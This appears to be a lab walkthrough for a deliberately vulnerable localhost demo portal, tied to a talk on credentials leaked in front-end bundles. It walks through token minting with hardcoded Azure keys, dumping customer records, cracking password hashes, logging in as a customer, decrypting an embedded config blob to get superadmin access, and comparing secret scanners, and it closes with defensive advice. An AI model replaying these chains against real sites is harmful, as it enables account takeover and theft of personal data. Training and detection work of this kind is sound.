A step-by-step walkthrough of two production-grade credential exposure chains.
30 minutes from clone to "I saw it with my own eyes."
localhost:3000 with zero external dependencies. Treat it like a CTF target on a private network. Do not deploy it to a public host.
main.js → 4,999 customer records → hash-crack → log in as the customer (15 min) ·
③ Chain 2 — encrypted blob decrypted with decrypt.py → superadmin token → DB connection string (10 min)
Prerequisites: Node.js 18+ and npm. A modern browser with DevTools (Chrome / Firefox / Safari). Optional but recommended: Burp Suite Community Edition for the live-replay segments.
git clone https://github.com/secretsifter/insecureshield-demo.git cd insecureshield-demo npm install npm start
The app listens on http://localhost:3000. Open the URL — you should see the "InsecureShield Client Portal" login page.
The demo ships with three small helper scripts at the project root — you'll use them in Chain 1 (hash crack) and Chain 2 (blob decrypt):
decrypt.py — reverses the CryptoJS-encrypted blob in main.js. Wraps the system openssl binary, zero pip dependencies.crack.py — reverses a captured SHA-256(password+salt) hash. Reads HASH:SALT on stdin, tries every entry in wordlist.txt.wordlist.txt — 51 realistic common passwords. Append your own line-by-line.All three live at the root of the cloned repo (next to server.js) — that's where the relative-path reads expect to find each other. Run them from the project directory: cd insecureshield-demo && python3 decrypt.py.
No pip install required for either script — both run on stock Python 3.
This is the chain that started the talk. Two bug-bounty reports flagged "hardcoded credentials" and stopped there. The question that wouldn't go away: what do they actually unlock?
Action: right-click anywhere on the login page → View Page Source. Or open view-source:http://localhost:3000/.
Scroll to the top of the HTML. You'll see comments that look like a TODO note from a developer:
<!-- Internal API config — TODO: move to vault before prod release
api_gateway_url: https://acme-portal-api.azure-api.net/v2
apim-subscription-key: a1b2c3d4e5f6789012345678901234ab
dev_admin: admin@acme-portal.com / InsecureShield@2024
db_conn: Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Pas...
-->
Action: open http://localhost:3000/js/main.js directly in your browser. Search for AZURE_AD_CONFIG.
var AZURE_AD_CONFIG = {
tenantId: "1a2b3c4d-5e6f-7890-abcd-ef1234567890",
appId: "8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d",
appKey: "Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==",
resourceId: "https://acme-portal-api.azure-api.net",
resourceKey: "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
authority: "https://login.microsoftonline.com/1a2b3c4d-..."
};
var APIM_CONFIG = {
subscriptionKey: "a1b2c3d4e5f6789012345678901234ab",
...
};
client_credentials set: appId (client ID), appKey (client secret), resourceKey (target API access key), and the APIM subscriptionKey in the next config block.main.js can mint a Bearer token and call every API the application is permitted to call.main.js in DevTools (Cmd+F) for "AZURE", "appKey", or "subscription". The file header reads "Generated by build pipeline" — confirming it wasn't committed to source.appKey, resourceKey, subscriptionKey. Plus tenantId and appId at INFO severity.The portal's local backend mimics the Azure APIM token-exchange flow. POST the three Azure AD values as headers, the server returns a real Bearer token plus an echoed resource_key.
POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId: 8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d
appKey: Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==
resourceKey: R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==
{}
Expected response (200 OK):
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....",
"resource_key": "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
"token_type": "Bearer",
"expires_in": 14400,
"scope": "policies.read claims.read users.read"
}
Notice the resource_key echo — a second copy of a secret crosses the wire in the response body. Burp's SecretSifter response scanner picks that up as a separate finding.
The data APIs require both the Bearer token (issued in 2.3) AND the APIM Ocp-Apim-Subscription-Key header — same as a real Azure APIM gateway. Stage a second Repeater tab:
GET /api/users HTTP/1.1 Host: localhost:3000 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.... Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
Expected response: 4,999 customer records. For each customer: id, name, email, dob, phone, ssn, address, plus a passwordHash and salt (steps 2.6 – 2.8 use these).
Quick negative check. Drop either header and resend — the server returns 401 in both cases. That's the gateway requiring both credentials to be valid.
/api/statsGET /api/stats HTTP/1.1 Host: localhost:3000 Authorization: Bearer eyJhbGc... Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
Expected response:
{
"totalCustomers": 4999,
"totalPolicies": 26,
"totalClaims": 15,
"openClaims": 3,
"totalExposure": 417350
}
The /api/users response from step 2.4 didn't just leak names and emails. Every record carried a passwordHash and a salt. That makes the response a credential dump — and credential dumps fuel account takeover. The hashing scheme is visible in data/db.js:
const salt = crypto.createHash('md5').update(c.id + ':salt').digest('hex').slice(0, 16);
const hash = crypto.createHash('sha256').update(c.password + salt).digest('hex').toUpperCase();
Format: SHA-256(password + salt), uppercase hex. A pentester would identify this from the hash shape alone (64 hex chars = 256 bits = SHA-256). Hashcat mode 1410 fits exactly.
crack.pyThe companion crack.py reads HASH:SALT on stdin and tries every entry in wordlist.txt (51 realistic patterns — password, Pass@1234, P@ssw0rd, Welcome2024, …):
echo 'C123F6BF928BA0182E22850B0D3A56731620D94E493D1741F50BC66C0EFC0A91:cb590adac3c2f4af' \ | python3 crack.py
Expected output (instant — under 100ms on any laptop):
C123F6BF928BA018… → Pass@1234
CUST-001) cracks to Pass@1234. Mass crack: pipe all 4,999 HASH:SALT pairs from the response through crack.py and watch every weak password fall.crack.py with three lines of Python plus a wordlist, or use hashcat -m 1410 with rockyou.txt — same flow, different tooling.jq:curl … /api/users | jq -r '.users[] | "\(.passwordHash):\(.salt)"' | python3 crack.pyCracking a hash is theoretical until you use the password. Stage one more Repeater request:
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{"email":"james.mitchell@gmail.com","password":"Pass@1234"}
Expected response:
{
"IsSuccess": true,
"token": "eyJhbGc...",
"role": "customer",
"name": "James Mitchell",
"customerId":"CUST-001"
}
The portal just authenticated you as James Mitchell. With that customer JWT (+ the APIM subscription key) you can read his profile, his policies, his claims — anything the portal exposes for the account.
A developer "knows credentials in JavaScript are bad" and encrypts the config blob. The question: where does the decryption key live? Spoiler — three lines below the ciphertext.
Action: still in main.js, search for ENCRYPTED_SP_CONFIG.
// line 40
var ENCRYPTED_SP_CONFIG = "U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfp...";
// line 43
var SP_CONFIG_KEY = "InsecureShield-Config-Key-2024Q4";
// line 46-48 — decryption runs in the browser at page load
var SECURE_SP = JSON.parse(
CryptoJS.AES.decrypt(ENCRYPTED_SP_CONFIG, SP_CONFIG_KEY).toString(CryptoJS.enc.Utf8)
);
The prefix U2FsdGVkX1+ is base64 of Salted__ — the signature of a CryptoJS / OpenSSL "passphrase mode" blob. Recognizing that prefix on sight is a useful pentester skill.
window.APP_CONFIG.secureSp. The page already decrypted it on load — you're just reading the result.ENCRYPTED_SP_CONFIG as a HIGH/FIRM finding — the encrypted blob itself is the evidence. No other tool in the comparison flags this pattern.decrypt.py — one lineThe demo ships a tiny Python helper at the project root. It wraps the system openssl binary (zero pip-install dependencies). Pipe the blob in on stdin:
echo 'U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfp...' \ | python3 decrypt.py
Expected output:
{
"tenantId": "7c1064ea-b8c7-402f-bb82-76aaccc91dc4",
"appId": "9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210",
"appKey": "AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal",
"resourceId": "https://acme-portal-api.azure-api.net/admin",
"resourceKey": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
"authority": "https://login.microsoftonline.com/7c1064ea-...",
"scope": "admin.config.read admin.diagnostics admin.dbconn"
}
appId, different appKey, different resourceKey from the public values in step 2.2. The "encryption" layer didn't protect a database connection string. It protected a more-privileged Azure app.The portal's /api/auth/generate-token endpoint accepts both credential sets. The public Azure AD creds (step 2.3) return a regular admin token. The decrypted admin Azure AD creds return a superadmin token with a different scope. Same endpoint, different role.
POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId: 9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210
appKey: AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal
resourceKey: AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==
{}
Expected response:
{
"access_token": "eyJhbGc....", // role:superadmin, source:sp
"resource_key": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
"token_type": "Bearer",
"expires_in": 14400,
"scope": "admin.config.read admin.diagnostics admin.dbconn"
}
The superadmin token + the same APIM subscription key now reaches endpoints that returned 403 with the public token in step 2:
GET /api/admin/internal-config HTTP/1.1 Host: localhost:3000 Authorization: Bearer <superadmin token> Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
Expected response:
{
"IsSuccess": true,
"config": {
"jwt_secret_fingerprint": "SHA256:84396fae75145477",
"db_conn_string": "Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Password=X7!kP#9mQvLr3$nBs;",
"apim_subscription_key": "a1b2c3d4e5f6789012345678901234ab",
"admin_email": "admin@acme-portal.com",
"internal_services": [
"https://claims-svc.acme-portal.internal/api/v1",
"https://policy-svc.acme-portal.internal/api/v1",
"https://reporting.acme-portal.internal/api"
]
}
}
The three chains aren't the only credentials in the bundle. InsecureShield scatters secrets across several files — each representing a different real-world delivery pattern. Walk these to build the muscle memory for production audits.
Pattern: Webpack DefinePlugin or NEXT_PUBLIC_* inlining. The developer wrote process.env.STRIPE_SECRET_KEY; the build replaced it with the literal string.
What you'll find: Stripe live key, SendGrid key, AWS access key + secret, Stripe webhook secret, Twilio auth token + account SID, INTERNAL_API_KEY, S3 bucket name. Every one of these visible in Burp's response pane on every page load.
Pattern: Static config import. The developer literally pasted the Firebase service-account JSON into the client bundle.
What you'll find: Google API key, PEM RSA private key, private_key_id, Firebase database URL, service account email, Firebase client_id.
Pattern: The build pipeline emits a manifest of asset paths and config. Often overlooked by scanners that focus on .js files.
What you'll find: AWS region, S3 bucket name, redundant AWS access key + secret, additional API keys with custom prefixes. The manifest is served with a non-JS content type — many scanners skip it.
This is the segment that closes the talk. Same target. Same Burp proxy. Default rules each tool. Compare what each one finds.
brew install trufflehogFor each Burp extension: proxy InsecureShield through Burp, browse the login + dashboard pages, let the passive scanners run. For TruffleHog CLI: run trufflehog filesystem ./dist against the built artifact.
| Tool | Unique creds | Notable wins | Notable misses |
|---|---|---|---|
| SecretSifter | 23 | Encrypted CryptoJS blob · DB password in HTML comment · custom-labeled keys | AWS ARN (treated as identifier) |
| Sensitive Discoverer | 12 + 4 emails | AWS ARN · Firebase DB URL · PEM marker | Encrypted blob · DB password · APIM key · Twilio |
| Titus | 9 | Azure APIM key · PEM key · AWS ARN · Mailgun | Encrypted blob · Stripe live · Twilio · custom labels |
| TruffleHog (Burp) | 8 | APIM · Mailgun · Stripe · SendGrid · vendor patterns | Encrypted blob · PEM key · 4 mislabeled APIM matches |
The exact numbers may shift as tools update their detector rules. What stays consistent: no single tool catches everything, and the encrypted blob + the in-HTML DB credential are the two findings that distinguish runtime-aware detection from pattern-matching alone.
If you find a credential category that SecretSifter doesn't catch, the patterns are in Patterns.java in the burp-secret-scanner repo. Each pattern is a regex plus a severity, confidence, and label.
// Example pattern entry
new Pattern(
"stripe_secret_key", // label (shown to the user)
Pattern.compile("sk_live_[a-zA-Z0-9]{24,}"),
Severity.HIGH,
Confidence.CERTAIN,
"Stripe live secret key"
);
Add a new pattern, run the test suite (./gradlew test), and submit a pull request. Patterns are reviewed against InsecureShield to confirm they don't introduce false positives. Detectors that catch real-world patterns the community hasn't formalized yet are the most welcome contributions.
If you're a pentester or bug-bounty hunter: don't stop at "credential exists." Walk the chain. Call the token endpoint. Enumerate what the service principal is permitted to do. The frontend code often documents the backend endpoints you can then call.
If you're a developer: an environment variable in GitHub Secrets is protected; the same value, inlined into main.bundle.js by webpack, is on every device that loaded your site. The variable name didn't change. The trust model did. Use a secrets manager (Azure Key Vault, AWS Secrets Manager) for anything sensitive, and prefer the Backend-for-Frontend pattern so credentials never leave the server.
If you're security leadership: add an artifact-scan stage to the pipeline. After the build produces the bundle, before deployment, scan the actual files the visitor will download. This is the closest thing to "shift-left for the runtime layer." Combine with runtime detection (browser extension, Burp extension, or proxy-based scanner) for the layer artifact scans don't reach (SSR state, runtime-fetched config, lazy chunks).